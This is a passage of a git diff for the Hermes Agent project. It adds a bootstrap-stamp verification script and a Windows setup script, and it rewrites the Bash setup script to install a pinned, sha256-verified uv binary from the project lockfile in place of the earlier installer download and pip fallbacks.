``pinnedCommit`` is a full 40-char lowercase hex sha AND equals + ``git rev-parse HEAD`` of the install repo (or ``--expect-commit``) +* ``pinnedBranch`` equals the repo's checked-out branch (or ``--expect-branch``) +* ``completedAt`` parses as an ISO-8601 UTC timestamp +* the install carries a shipped version — ``hermes_cli/__init__.py``'s + ``__version__``, read through the same authority as + scripts/write_install_stamp.py + +Usage: + + python3 scripts/verify-bootstrap-version-stamp.py \ + --stamp /.hermes-bootstrap-complete --repo + # CI lane additionally pins the expected commit/branch: + python3 scripts/verify-bootstrap-version-stamp.py --stamp ... --repo ... \ + --expect-commit "$SHA" --expect-branch ci-under-test + +Exit 0 = the stamp tells the truth; exit 1 = any check fails (each failure +prints one ``FAIL:`` line). +""" + +from __future__ import annotations + +import argparse +import json +import os +import re +import shutil +import subprocess +import sys +from datetime import datetime +from pathlib import Path + +SHA_RE = re.compile(r"^[0-9a-f]{40}$") + + +def _git_exe() -> str: + """Resolve git to an executable CreateProcess can start. + + On sandboxed hosts PATH can resolve ``git`` to a store-app payload copy + (e.g. under ``C:\\Program Files\\WindowsApps\\...``) that fails to exec + outside its package context; prefer a conventional install there. + """ + candidates: list[str] = [] + hit = shutil.which("git") + if hit: + candidates.append(hit) + if sys.platform == "win32": + base = Path(os.environ.get("ProgramFiles", r"C:\Program Files")) / "Git" + for rel in (("cmd", "git.exe"), ("bin", "git.exe")): + p = base.joinpath(*rel) + if p.exists(): + candidates.append(str(p)) + for cand in candidates: + if "windowsapps" not in cand.lower(): + return cand + return candidates[0] if candidates else "git" + + +_GIT = _git_exe() + + +def _fail(errors: list[str], message: str) -> None: + errors.append(message) + + +def _git(repo: Path, *args: str) -> str | None: + try: + result = subprocess.run( + [_GIT, *args], cwd=str(repo), capture_output=True, text=True, timeout=15 + ) + except (OSError, subprocess.SubprocessError): + return None + value = (result.stdout or "").strip() + return value if result.returncode == 0 and value else None + + +def verify_stamp(stamp_path: Path, repo: Path, expect_commit: str | None, expect_branch: str | None) -> list[str]: + errors: list[str] = [] + + try: + stamp = json.loads(stamp_path.read_text(encoding="utf-8-sig")) + except OSError as e: + _fail(errors, f"cannot read stamp {stamp_path}: {e}") + return errors + except ValueError as e: + _fail(errors, f"stamp is not valid JSON: {e}") + return errors + if not isinstance(stamp, dict): + _fail(errors, f"stamp top level is {type(stamp).__name__}, expected object") + return errors + + if stamp.get("schemaVersion") != 1: + _fail(errors, f"schemaVersion {stamp.get('schemaVersion')!r}, expected 1") + + commit = stamp.get("pinnedCommit") + if not isinstance(commit, str) or not SHA_RE.match(commit): + _fail(errors, f"pinnedCommit {commit!r} is not a full 40-char lowercase hex sha") + commit = None + + branch = stamp.get("pinnedBranch") + if not isinstance(branch, str) or not branch: + _fail(errors, f"pinnedBranch {branch!r} is empty") + branch = None + + completed = stamp.get("completedAt") + if not isinstance(completed, str): + _fail(errors, f"completedAt {completed!r} is missing") + else: + try: + parsed = datetime.fromisoformat(completed.replace("Z", "+00:00")) + if parsed.utcoffset() is None or parsed.utcoffset().total_seconds() != 0: + _fail(errors, f"completedAt {completed!r} is not UTC") + except ValueError: + _fail(errors, f"completedAt {completed!r} does not parse as ISO-8601") + + # Cross-check the stamp against the checkout it claims to describe. + if commit is not None: + head = _git(repo, "rev-parse", "HEAD") + if head is None: + _fail(errors, f"could not read HEAD of {repo} to compare with pinnedCommit") + elif head != commit: + _fail(errors, f"pinnedCommit {commit[:12]} != installed HEAD {head[:12]}") + if expect_commit and commit != expect_commit: + _fail(errors, f"pinnedCommit {commit[:12]} != expected {expect_commit[:12]}") + + if branch is not None: + actual = _git(repo, "rev-parse", "--abbrev-ref", "HEAD") + if expect_branch: + if branch != expect_branch: + _fail(errors, f"pinnedBranch {branch!r} != expected {expect_branch!r}") + elif actual and actual != "HEAD" and actual != branch: + _fail(errors, f"pinnedBranch {branch!r} != checked-out branch {actual!r}") + + # The install must carry a shipped version at all. + version, _ = _read_version(repo) + if not version: + _fail(errors, f"no __version__ found in {repo}/hermes_cli/__init__.py — the install carries no shipped version") + + return errors + + +def _read_version(repo: Path) -> tuple[str | None, str | None]: + """Read __version__ from the INSTALL repo (not this script's checkout).""" + init_py = repo / "hermes_cli" / "__init__.py" + try: + text = init_py.read_text(encoding="utf-8-sig") + except OSError: + return None, None + match = re.search(r'__version__\s*=\s*["\']([^"\']+)["\']', text) + return (match.group(1) if match else None, None) + + +def main() -> int: + parser = argparse.ArgumentParser(description=__doc__) + parser.add_argument("--stamp", required=True, help="Path to .hermes-bootstrap-complete") + parser.add_argument("--repo", required=True, help="The install checkout the stamp describes") + parser.add_argument("--expect-commit", default=None, help="Fail unless pinnedCommit equals this sha") + parser.add_argument("--expect-branch", default=None, help="Fail unless pinnedBranch equals this branch") + args = parser.parse_args() + + errors = verify_stamp( + Path(args.stamp), Path(args.repo), args.expect_commit, args.expect_branch + ) + if errors: + for e in errors: + print(f"FAIL: {e}", file=sys.stderr) + return 1 + print("bootstrap version stamp verified") + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/setup-hermes.ps1 b/setup-hermes.ps1 new file mode 100644 index 0000000000..b2b0c7e0c1 --- /dev/null +++ b/setup-hermes.ps1 @@ -0,0 +1,133 @@ +# ============================================================================ +# Hermes Agent Setup Script (Windows) — THE dev-environment entry point. +# ============================================================================ +# Sets up the pm-managed development environment from a fresh clone: +# 1. Stage the pinned uv from pm/lock.json (sha256-verified, into the pm +# store slot) - pm needs uv to bootstrap, so it cannot stage uv itself. +# 2. Provision Python + the venv + hash-verified dependency sync by running +# `python -m pm.cli install` through that uv (the same code path +# `hermes pm install` uses). pyproject.toml + uv.lock are the single +# authority for pins. +# 3. Point you at `.\activate.ps1` - the venv-style way to put the pm env +# (PATH + tool vars) into your current session. +# ============================================================================ +$ErrorActionPreference = 'Stop' + +Write-Host '' +Write-Host 'Hermes Agent Setup' -ForegroundColor Cyan +Write-Host '' + +$repo = $PSScriptRoot +$lockPath = Join-Path $repo 'pm/lock.json' +if (-not (Test-Path $lockPath)) { throw 'pm/lock.json not found' } +$lock = Get-Content -Raw $lockPath | ConvertFrom-Json + +$machineArch = (Get-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment').PROCESSOR_ARCHITECTURE +$arch = if ($machineArch -eq 'ARM64') { 'arm64' } else { 'x64' } +$target = "win32-$arch" + +# --------------------------------------------------------------------------- +# Stage the pinned uv from pm/lock.json into the pm store slot +# --------------------------------------------------------------------------- +$uvPin = $lock.packages.uv +if (-not $uvPin) { throw 'no uv pin in pm/lock.json' } +$artifact = $uvPin.artifacts.$target +if (-not $artifact) { $artifact = $uvPin.artifacts.any } +if (-not $artifact) { throw "no uv artifact for $target" } + +$pyPin = $lock.packages.python +$pyVersion = if ($pyPin) { ($pyPin.version -split '\+')[0] -replace '^(\d+\.\d+).*', '$1' } else { '3.11' } + +$store = if ($env:HERMES_RUNTIME_DIR) { $env:HERMES_RUNTIME_DIR } else { Join-Path $HOME '.hermes/tools' } +$entry = Join-Path $store "uv-$($uvPin.version)-$target" +$uv = Join-Path $entry 'uv.exe' + +if (Test-Path $uv) { + Write-Host ("pinned uv found: " + (& $uv --version)) -ForegroundColor Green +} else { + Write-Host "Staging pinned uv $($uvPin.version) ($target) into the pm store..." -ForegroundColor Cyan + $tmp = Join-Path ([System.IO.Path]::GetTempPath()) ("hermes-setup-" + [guid]::NewGuid().ToString('n')) + New-Item -ItemType Directory -Path $tmp | Out-Null + try { + $archive = Join-Path $tmp ([uri]$artifact.url).Segments[-1] + Invoke-WebRequest -Uri $artifact.url -OutFile $archive + $got = (Get-FileHash -Algorithm SHA256 $archive).Hash.ToLowerInvariant() + if ($got -ne $artifact.sha256) { + throw "sha256 mismatch for uv (got $got, pinned $($artifact.sha256))" + } + $tree = Join-Path $tmp 'tree' + Expand-Archive -Path $archive -DestinationPath $tree + # flatten a single wrapping dir + $inner = @(Get-ChildItem $tree) + $src = if ($inner.Count -eq 1 -and $inner[0].PSIsContainer) { $inner[0].FullName } else { $tree } + New-Item -ItemType Directory -Force -Path $store | Out-Null + if (Test-Path $entry) { Remove-Item -Recurse -Force $entry } + Move-Item $src $entry + } finally { + Remove-Item -Recurse -Force $tmp -ErrorAction SilentlyContinue + } + Write-Host ("uv installed: " + (& $uv --version)) -ForegroundColor Green +} + +# --------------------------------------------------------------------------- +# Delegate to pm: python + venv + tool store + hash-verified venv sync +# --------------------------------------------------------------------------- +Write-Host 'Installing python + tools + dependencies via pm (hash-verified via uv.lock)...' -ForegroundColor Cyan +Write-Host '(first run on a fresh checkout can take 1-5 minutes)' +Push-Location $repo +try { + & $uv run --no-project --python $pyVersion python -m pm.cli install + if ($LASTEXITCODE -ne 0) { throw 'pm install failed - see output above.' } +} finally { + Pop-Location +} +Write-Host 'Tools + dependencies installed (hash-verified via pm + uv.lock)' -ForegroundColor Green + +# --------------------------------------------------------------------------- +# Environment file +# --------------------------------------------------------------------------- +$envFile = Join-Path $repo '.env' +if (-not (Test-Path $envFile)) { + if (Test-Path (Join-Path $repo '.env.example')) { + Copy-Item (Join-Path $repo '.env.example') $envFile + Write-Host 'Created .env from template' -ForegroundColor Green + } +} else { + Write-Host '.env exists' -ForegroundColor Green +} + +# --------------------------------------------------------------------------- +# Seed bundled skills into ~/.hermes/skills/ +# --------------------------------------------------------------------------- +$skillsDir = if ($env:HERMES_HOME) { Join-Path $env:HERMES_HOME 'skills' } else { Join-Path $HOME '.hermes/skills' } +New-Item -ItemType Directory -Force -Path $skillsDir | Out-Null +$sync = Join-Path $repo 'tools/skills_sync.py' +$venvPy = Join-Path $repo 'venv/Scripts/python.exe' +if ((Test-Path $sync) -and (Test-Path $venvPy)) { + & $venvPy $sync 2>$null + Write-Host 'Skills synced' -ForegroundColor Green +} + +# --------------------------------------------------------------------------- +# Done +# --------------------------------------------------------------------------- +Write-Host '' +Write-Host 'Setup complete!' -ForegroundColor Green +Write-Host '' +Write-Host 'Next steps:' +Write-Host '' +Write-Host ' 1. Activate the dev environment (venv-style, in THIS session):' +Write-Host ' .\activate.ps1' +Write-Host '' +Write-Host ' 2. Run the setup wizard to configure API keys:' +Write-Host ' hermes setup' +Write-Host '' +Write-Host ' 3. Start chatting:' +Write-Host ' hermes' +Write-Host '' +Write-Host 'Other commands:' +Write-Host ' hermes pm install # Re-run the tool + dependency install' +Write-Host ' hermes status # Check configuration' +Write-Host ' hermes doctor # Diagnose issues' +Write-Host ' deactivate # Undo the activation (restore PATH etc.)' +Write-Host '' diff --git a/setup-hermes.sh b/setup-hermes.sh index 0358bf1f7b..24b16cc5b3 100755 --- a/setup-hermes.sh +++ b/setup-hermes.sh @@ -1,20 +1,17 @@ #!/bin/bash # ============================================================================ -# Hermes Agent Setup Script +# Hermes Agent Setup Script — THE dev-environment entry point. # ============================================================================ -# Quick setup for developers who cloned the repo manually. -# Uses uv for desktop/server setup and Python's stdlib venv + pip on Termux. -# -# Usage: -# ./setup-hermes.sh -# -# This script: -# 1. Detects desktop/server vs Android/Termux setup path -# 2. Creates a Python 3.11 virtual environment -# 3. Installs the appropriate dependency set for the platform -# 4. Creates .env from template (if not exists) -# 5. Symlinks the 'hermes' CLI command into a user-facing bin dir -# 6. Runs the setup wizard (optional) +# Sets up the pm-managed development environment from a fresh clone: +# 1. Stage the pinned uv from pm/lock.json (sha256-verified, into the pm +# store slot) — pm needs uv to bootstrap, so it cannot stage uv itself. +# 2. Provision Python + the venv + hash-verified dependency sync by running +# `python -m pm.cli install` through that uv (the same code path +# `hermes pm install` uses). pyproject.toml + uv.lock are the single +# authority for pins (see tests/test_project_metadata.py). +# 3. Point you at `source ./activate` — the venv-style way to put the pm +# env (PATH + tool vars) into your current shell. +# There is no pip fallback tier here on purpose. # ============================================================================ set -e @@ -33,318 +30,106 @@ cd "$SCRIPT_DIR" # wrong user's home directory when running under sudo -u . See #21269. export UV_NO_CONFIG=1 -PYTHON_VERSION="3.11" - -is_termux() { - [ -n "${TERMUX_VERSION:-}" ] || [[ "${PREFIX:-}" == *"com.termux/files/usr"* ]] -} - -get_command_link_dir() { - if is_termux && [ -n "${PREFIX:-}" ]; then - echo "$PREFIX/bin" - else - echo "$HOME/.local/bin" - fi -} - -get_command_link_display_dir() { - if is_termux && [ -n "${PREFIX:-}" ]; then - echo '$PREFIX/bin' - else - echo '~/.local/bin' - fi -} - echo "" echo -e "${CYAN}⚕ Hermes Agent Setup${NC}" echo "" # ============================================================================ -# Install / locate uv +# Install / locate uv — staged from pm/lock.json (the lockfile is the only +# authority; no astral-latest, no curl|sh). # ============================================================================ echo -e "${CYAN}→${NC} Checking for uv..." -UV_CMD="" -if is_termux; then - echo -e "${CYAN}→${NC} Termux detected — using Python's stdlib venv + pip instead of uv" +lock="$SCRIPT_DIR/pm/lock.json" +[ -f "$lock" ] || { echo -e "${RED}✗${NC} pm/lock.json not found" >&2; exit 1; } + +case "$(uname -s)" in + Linux) os=linux ;; + Darwin) os=darwin ;; + MINGW*|MSYS*|CYGWIN*) os=win32 ;; + *) echo -e "${RED}✗${NC} unsupported OS $(uname -s)" >&2; exit 1 ;; +esac +if [ "$os" = win32 ]; then + # PROCESSOR_ARCHITECTURE lies under an emulated shell (x64 msys on a + # WoA box reports AMD64); the registry carries the machine's truth. + winarch="$(reg.exe query 'HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' /v PROCESSOR_ARCHITECTURE 2>/dev/null | tr -d '\r' | awk '/PROCESSOR_ARCHITECTURE/ {print $NF}')" + case "${winarch:-${PROCESSOR_ARCHITECTURE:-}}" in + ARM64) arch=arm64 ;; + *) arch=x64 ;; + esac else - if command -v uv &> /dev/null; then - UV_CMD="uv" - elif [ -x "$HOME/.local/bin/uv" ]; then - UV_CMD="$HOME/.local/bin/uv" - elif [ -x "$HOME/.cargo/bin/uv" ]; then - UV_CMD="$HOME/.cargo/bin/uv" - fi - - if [ -n "$UV_CMD" ]; then - UV_VERSION=$($UV_CMD --version 2>/dev/null) - echo -e "${GREEN}✓${NC} uv found ($UV_VERSION)" - else - echo -e "${CYAN}→${NC} Installing uv..." - # Capture installer output so a failure shows the user WHY - # (network, glibc mismatch on old distros, missing curl, disk - # full, etc.) instead of "✗ Failed to install uv" with zero - # diagnostic. Two-stage to avoid `curl | sh` masking curl - # failures (sh exits 0 on empty stdin under no pipefail). - _uv_log="$(mktemp 2>/dev/null || echo "/tmp/hermes-uv-install.$$.log")" - _uv_installer="$(mktemp 2>/dev/null || echo "/tmp/hermes-uv-installer.$$.sh")" - if ! curl -LsSf https://astral.sh/uv/install.sh -o "$_uv_installer" 2>"$_uv_log"; then - echo -e "${RED}✗${NC} Failed to download uv installer." - sed 's/^/ /' "$_uv_log" >&2 - echo -e "${CYAN}→${NC} Install manually: https://docs.astral.sh/uv/" - rm -f "$_uv_log" "$_uv_installer" - exit 1 - fi - if sh "$_uv_installer" >>"$_uv_log" 2>&1; then - rm -f "$_uv_installer" - if [ -x "$HOME/.local/bin/uv" ]; then - UV_CMD="$HOME/.local/bin/uv" - elif [ -x "$HOME/.cargo/bin/uv" ]; then - UV_CMD="$HOME/.cargo/bin/uv" - fi - - if [ -n "$UV_CMD" ]; then - rm -f "$_uv_log" - UV_VERSION=$($UV_CMD --version 2>/dev/null) - echo -e "${GREEN}✓${NC} uv installed ($UV_VERSION)" - else - echo -e "${RED}✗${NC} uv installer reported success but binary not found. Add ~/.local/bin to PATH and retry." - echo -e "${CYAN}→${NC} Installer output:" - sed 's/^/ /' "$_uv_log" >&2 - rm -f "$_uv_log" - exit 1 - fi - else - echo -e "${RED}✗${NC} Failed to install uv." - echo -e "${CYAN}→${NC} Installer output:" - sed 's/^/ /' "$_uv_log" >&2 - echo -e "${CYAN}→${NC} Install manually: https://docs.astral.sh/uv/" - rm -f "$_uv_log" "$_uv_installer" - exit 1 - fi - fi + case "$(uname -m)" in + arm64|aarch64) arch=arm64 ;; + x86_64|amd64) arch=x64 ;; + *) echo -e "${RED}✗${NC} unsupported arch $(uname -m)" >&2; exit 1 ;; + esac fi +target="$os-$arch" -# ============================================================================ -# Python check (uv can provision it automatically) -# ============================================================================ - -echo -e "${CYAN}→${NC} Checking Python $PYTHON_VERSION..." - -if is_termux; then - if command -v python >/dev/null 2>&1; then - PYTHON_PATH="$(command -v python)" - if "$PYTHON_PATH" -c 'import sys; raise SystemExit(0 if sys.version_info >= (3, 11) else 1)' 2>/dev/null; then - PYTHON_FOUND_VERSION=$($PYTHON_PATH --version 2>/dev/null) - echo -e "${GREEN}✓${NC} $PYTHON_FOUND_VERSION found" - else - echo -e "${RED}✗${NC} Termux Python must be 3.11+" - echo " Run: pkg install python" - exit 1 - fi - else - echo -e "${RED}✗${NC} Python not found in Termux" - echo " Run: pkg install python" - exit 1 - fi -else - if $UV_CMD python find "$PYTHON_VERSION" &> /dev/null; then - PYTHON_PATH=$($UV_CMD python find "$PYTHON_VERSION") - PYTHON_FOUND_VERSION=$($PYTHON_PATH --version 2>/dev/null) - echo -e "${GREEN}✓${NC} $PYTHON_FOUND_VERSION found" - else - echo -e "${CYAN}→${NC} Python $PYTHON_VERSION not found, installing via uv..." - $UV_CMD python install "$PYTHON_VERSION" - PYTHON_PATH=$($UV_CMD python find "$PYTHON_VERSION") - PYTHON_FOUND_VERSION=$($PYTHON_PATH --version 2>/dev/null) - echo -e "${GREEN}✓${NC} $PYTHON_FOUND_VERSION installed" - fi -fi - -# ============================================================================ -# Virtual environment -# ============================================================================ - -echo -e "${CYAN}→${NC} Setting up virtual environment..." - -if [ -d "venv" ]; then - echo -e "${CYAN}→${NC} Removing old venv..." - rm -rf venv -fi - -if is_termux; then - "$PYTHON_PATH" -m venv venv - echo -e "${GREEN}✓${NC} venv created with stdlib venv" -else - $UV_CMD venv venv --python "$PYTHON_VERSION" - echo -e "${GREEN}✓${NC} venv created (Python $PYTHON_VERSION)" -fi - -export VIRTUAL_ENV="$SCRIPT_DIR/venv" -SETUP_PYTHON="$SCRIPT_DIR/venv/bin/python" - -# ============================================================================ -# Dependencies -# ============================================================================ - -run_locked_uv_sync() { - # Bootstrap uv calls stay isolated from ambient config via UV_NO_CONFIG - # (#21269). A locked project sync is different: uv.lock records resolver - # settings from this checkout's [tool.uv], so hiding pyproject.toml makes - # uv 0.12+ reject the valid lock. Re-enable project discovery only for - # this subprocess while redirecting user/system config lookups to an empty - # directory. Keep HOME unchanged so caches, credentials, and git continue - # to work normally. - local project_env="$1" - local isolated_uv_config - local sync_rc - isolated_uv_config="$(mktemp -d)" || return 1 - - ( - unset UV_NO_CONFIG UV_CONFIG_FILE - export XDG_CONFIG_HOME="$isolated_uv_config" - export XDG_CONFIG_DIRS="$isolated_uv_config" - UV_PROJECT_ENVIRONMENT="$project_env" $UV_CMD sync --extra all --locked - ) - sync_rc=$? - rmdir "$isolated_uv_config" 2>/dev/null || true - return "$sync_rc" +# lock.json is machine-written (sorted keys, 2-space indent): read the uv +# pin's version + this target's url/sha256 with awk — no python yet. +pin() { # $1 = field (url | sha256) + awk -v target="$target" -v field="$1" ' + /^ "uv": \{/ { in_uv = 1 } + in_uv && $0 ~ "^ \"" target "\": \\{" { in_t = 1 } + in_t && $0 ~ "^ \"" field "\":" { + gsub(/.*: "|,?$/, ""); print; exit + }' "$lock" } +uv_version="$(awk ' + /^ "uv": \{/ { in_uv = 1 } + in_uv && /^ "version":/ { gsub(/.*: "|,?$/, ""); print; exit }' "$lock")" +py_version="$(awk ' + /^ "python": \{/ { in_py = 1 } + in_py && /^ "version":/ { gsub(/.*: "|"$|",$/, ""); print; exit }' "$lock" \ + | cut -d+ -f1 | cut -d. -f1,2)" +[ -n "$uv_version" ] || { echo -e "${RED}✗${NC} no uv pin in pm/lock.json" >&2; exit 1; } -echo -e "${CYAN}→${NC} Installing dependencies..." +store="${HERMES_RUNTIME_DIR:-$HOME/.hermes/tools}" +entry="$store/uv-$uv_version-$target" +uv="$entry/uv"; [ "$os" = win32 ] && uv="$entry/uv.exe" -if is_termux; then - export ANDROID_API_LEVEL="$(getprop ro.build.version.sdk 2>/dev/null || printf '%s' "${ANDROID_API_LEVEL:-}")" - echo -e "${CYAN}→${NC} Termux detected — installing the tested Android bundle" - "$SETUP_PYTHON" -m pip install --upgrade pip setuptools wheel - if [ -f "constraints-termux.txt" ]; then - "$SETUP_PYTHON" -m pip install -e ".[termux]" -c constraints-termux.txt || { - echo -e "${YELLOW}⚠${NC} Termux bundle install failed, falling back to base install..." - "$SETUP_PYTHON" -m pip install -e "." -c constraints-termux.txt - } - else - "$SETUP_PYTHON" -m pip install -e ".[termux]" || "$SETUP_PYTHON" -m pip install -e "." - fi - echo -e "${GREEN}✓${NC} Dependencies installed" +if [ -x "$uv" ]; then + echo -e "${GREEN}✓${NC} pinned uv found ($("$uv" --version 2>/dev/null))" else - # Prefer uv sync with lockfile (hash-verified installs) when available, - # fall back to pip install for compatibility or when lockfile is stale. - # - # Multi-tier pip fallback. Goal: ONE compromised PyPI package - # (mistralai 2.4.6 in May 2026 → quarantined) shouldn't silently demote - # a fresh setup to "core only". Edit _BROKEN_EXTRAS when a transitive - # breaks; users keep voice / honcho / google / slack / matrix etc. even - # if mistral can't resolve. - _BROKEN_EXTRAS=() # populate when an extra becomes unresolvable - _ALL_EXTRAS=( - modal daytona vercel messaging matrix cron cli dev tts-premium slack - pty honcho mcp homeassistant sms acp voice dingtalk feishu google - bedrock web youtube - ) - _SAFE_EXTRAS=() - for _e in "${_ALL_EXTRAS[@]}"; do - _skip=false - for _b in "${_BROKEN_EXTRAS[@]}"; do - [ "$_e" = "$_b" ] && _skip=true && break - done - [ "$_skip" = false ] && _SAFE_EXTRAS+=("$_e") - done - _SAFE_SPEC=".[$(IFS=,; echo "${_SAFE_EXTRAS[*]}")]" - _try_install() { - $UV_CMD pip install -e ".[all]" \ - || $UV_CMD pip install -e "$_SAFE_SPEC" \ - || $UV_CMD pip install -e "." - } - - if [ -f "uv.lock" ]; then - # Hash-verified install (preferred). The lockfile records SHA256 - # hashes for every transitive — a compromised transitive would have - # a different hash and be REJECTED by uv. This is the only path - # that protects against transitive-package supply-chain attacks - # (the direct deps in pyproject.toml are exact-pinned, but - # `uv pip install` re-resolves transitives fresh from PyPI). - echo -e "${CYAN}→${NC} Using uv.lock for hash-verified installation..." - echo -e "${CYAN}→${NC} (first run on a fresh venv can take 1-5 minutes; uv prints progress below)" - # Critical flag choice: `--extra all`, NOT `--all-extras`. The - # latter installs every [project.optional-dependencies] key, - # bypassing the curated [all] extra and pulling backends like - # [matrix] (python-olm needs make on Windows) and [rl] (git+https - # deps that fail offline). See pyproject.toml's [all] for the - # curated set, and tools/lazy_deps.py for backends that install - # at first use. - # Also: stream stderr through directly so the user sees uv's - # progress UI instead of staring at a frozen prompt. - if run_locked_uv_sync "$SCRIPT_DIR/venv"; then - echo -e "${GREEN}✓${NC} Dependencies installed (hash-verified via uv.lock)" - else - echo -e "${YELLOW}⚠${NC} Lockfile sync failed (see uv output above)." - echo -e "${YELLOW}⚠${NC} Falling back to PyPI resolve — transitives will NOT be hash-verified." - _try_install - echo -e "${GREEN}✓${NC} Dependencies installed (transitives re-resolved, not hash-verified)" - fi - else - echo -e "${YELLOW}⚠${NC} uv.lock not found — installing without hash verification of transitives." - _try_install - echo -e "${GREEN}✓${NC} Dependencies installed (transitives re-resolved, not hash-verified)" - fi + url="$(pin url)"; sha="$(pin sha256)" + [ -n "$url" ] && [ -n "$sha" ] || { echo -e "${RED}✗${NC} no uv artifact for $target" >&2; exit 1; } + echo -e "${CYAN}→${NC} Staging pinned uv $uv_version ($target) into the pm store..." + mkdir -p "$store" + tmp="$(mktemp -d "$store/.bootstrap-XXXXXX")"; trap 'rm -rf "$tmp"' EXIT + archive="$tmp/${url##*/}" + curl -fsSL -o "$archive" "$url" + got="$( (sha256sum "$archive" 2>/dev/null || shasum -a 256 "$archive") | cut -d' ' -f1 | tr -d '\\')" + [ "$got" = "$sha" ] || { echo -e "${RED}✗${NC} sha256 mismatch for uv (got $got, pinned $sha)" >&2; exit 1; } + mkdir -p "$tmp/tree" + case "$archive" in + *.zip) unzip -q "$archive" -d "$tmp/tree" ;; + *) tar -xzf "$archive" -C "$tmp/tree" ;; + esac + # flatten a single wrapping dir (uv tarballs ship uv-/uv) + inner="$(find "$tmp/tree" -mindepth 1 -maxdepth 1)" + if [ "$(printf '%s\n' "$inner" | wc -l)" = 1 ] && [ -d "$inner" ]; then + mv "$inner" "$tmp/entry" + else + mv "$tmp/tree" "$tmp/entry" + fi + rm -rf "$entry" + mv "$tmp/entry" "$entry" + echo -e "${GREEN}✓${NC} uv installed ($("$uv" --version 2>/dev/null))" fi # ============================================================================ -# ============================================================================ -# Optional: ripgrep (for faster file search) +# Delegate to pm: python + venv + tool store + hash-verified venv sync # ============================================================================ -echo -e "${CYAN}→${NC} Checking ripgrep (optional, for faster search)..." - -if command -v rg &> /dev/null; then - echo -e "${GREEN}✓${NC} ripgrep found" -else - echo -e "${YELLOW}⚠${NC} ripgrep not found (file search will use grep fallback)" - read -p "Install ripgrep for faster search? [Y/n] " -n 1 -r - echo - if [[ $REPLY =~ ^[Yy]$ ]] || [[ -z $REPLY ]]; then - INSTALLED=false - - if is_termux; then - pkg install -y ripgrep && INSTALLED=true - else - # Check if sudo is available - if command -v sudo &> /dev/null && sudo -n true 2>/dev/null; then - if command -v apt &> /dev/null; then - sudo apt install -y ripgrep && INSTALLED=true - elif command -v dnf &> /dev/null; then - sudo dnf install -y ripgrep && INSTALLED=true - fi - fi - - # Try brew (no sudo needed) - if [ "$INSTALLED" = false ] && command -v brew &> /dev/null; then - brew install ripgrep && INSTALLED=true - fi - - # Try cargo (no sudo needed) - if [ "$INSTALLED" = false ] && command -v cargo &> /dev/null; then - echo -e "${CYAN}→${NC} Trying cargo install (no sudo required)..." - cargo install ripgrep && INSTALLED=true - fi - fi - - if [ "$INSTALLED" = true ]; then - echo -e "${GREEN}✓${NC} ripgrep installed" - else - echo -e "${YELLOW}⚠${NC} Auto-install failed. Install options:" - if is_termux; then - echo " pkg install ripgrep # Termux / Android" - else - echo " sudo apt install ripgrep # Debian/Ubuntu" - echo " brew install ripgrep # macOS" - echo " cargo install ripgrep # With Rust (no sudo)" - fi - echo " https://github.com/BurntSushi/ripgrep#installation" - fi - fi +echo -e "${CYAN}→${NC} Installing python + tools + dependencies via pm (hash-verified via uv.lock)..." +echo -e "${CYAN}→${NC} (first run on a fresh checkout can take 1-5 minutes)" +if ! "$uv" run --no-project --python "${py_version:-3.11}" python -m pm.cli install; then + echo -e "${RED}✗${NC} pm install failed — see output above." + exit 1 fi +echo -e "${GREEN}✓${NC} Tools + dependencies installed (hash-verified via pm + uv.lock)" # ============================================================================ # Environment file @@ -371,52 +156,59 @@ fi echo -e "${CYAN}→${NC} Setting up hermes command..." -HERMES_BIN="$SCRIPT_DIR/venv/bin/hermes" -COMMAND_LINK_DIR="$(get_command_link_dir)" -COMMAND_LINK_DISPLAY_DIR="$(get_command_link_display_dir)" -mkdir -p "$COMMAND_LINK_DIR" -ln -sf "$HERMES_BIN" "$COMMAND_LINK_DIR/hermes" -echo -e "${GREEN}✓${NC} Symlinked hermes → $COMMAND_LINK_DISPLAY_DIR/hermes" +# pm installs the venv; find its python across layouts (posix venv vs win). +PYBIN="" +for candidate in "$SCRIPT_DIR/venv/bin/python" "$SCRIPT_DIR/venv/Scripts/python.exe"; do + [ -x "$candidate" ] && { PYBIN="$candidate"; break; } +done -if is_termux; then - export PATH="$COMMAND_LINK_DIR:$PATH" - echo -e "${GREEN}✓${NC} $COMMAND_LINK_DISPLAY_DIR is already on PATH in Termux" -else +HERMES_BIN="" +for candidate in "$SCRIPT_DIR/venv/bin/hermes" "$SCRIPT_DIR/venv/Scripts/hermes.exe"; do + [ -e "$candidate" ] && { HERMES_BIN="$candidate"; break; } +done + +if [ -n "$HERMES_BIN" ] && [ "$os" != win32 ]; then + mkdir -p "$HOME/.local/bin" + ln -sf "$HERMES_BIN" "$HOME/.local/bin/hermes" + echo -e "${GREEN}✓${NC} Symlinked hermes → ~/.local/bin/hermes" +fi + +if [ "$os" != win32 ]; then # Determine the appropriate shell config file SHELL_CONFIG="" if [[ "$SHELL" == *"zsh"* ]]; then - SHELL_CONFIG="$HOME/.zshrc" - elif [[ "$SHELL" == *"bash"* ]]; then - SHELL_CONFIG="$HOME/.bashrc" - [ ! -f "$SHELL_CONFIG" ] && SHELL_CONFIG="$HOME/.bash_profile" - else - # Fallback to checking existing files - if [ -f "$HOME/.zshrc" ]; then SHELL_CONFIG="$HOME/.zshrc" - elif [ -f "$HOME/.bashrc" ]; then + elif [[ "$SHELL" == *"bash"* ]]; then SHELL_CONFIG="$HOME/.bashrc" - elif [ -f "$HOME/.bash_profile" ]; then - SHELL_CONFIG="$HOME/.bash_profile" - fi - fi - - if [ -n "$SHELL_CONFIG" ]; then - # Touch the file just in case it doesn't exist yet but was selected - touch "$SHELL_CONFIG" 2>/dev/null || true - - if ! echo "$PATH" | tr ':' '\n' | grep -q "^$HOME/.local/bin$"; then - if ! grep -q '\.local/bin' "$SHELL_CONFIG" 2>/dev/null; then - echo "" >> "$SHELL_CONFIG" - echo "# Hermes Agent — ensure ~/.local/bin is on PATH" >> "$SHELL_CONFIG" - echo 'export PATH="$HOME/.local/bin:$PATH"' >> "$SHELL_CONFIG" - echo -e "${GREEN}✓${NC} Added ~/.local/bin to PATH in $SHELL_CONFIG" - else - echo -e "${GREEN}✓${NC} ~/.local/bin already in $SHELL_CONFIG" - fi + [ ! -f "$SHELL_CONFIG" ] && SHELL_CONFIG="$HOME/.bash_profile" else - echo -e "${GREEN}✓${NC} ~/.local/bin already on PATH" + # Fallback to checking existing files + if [ -f 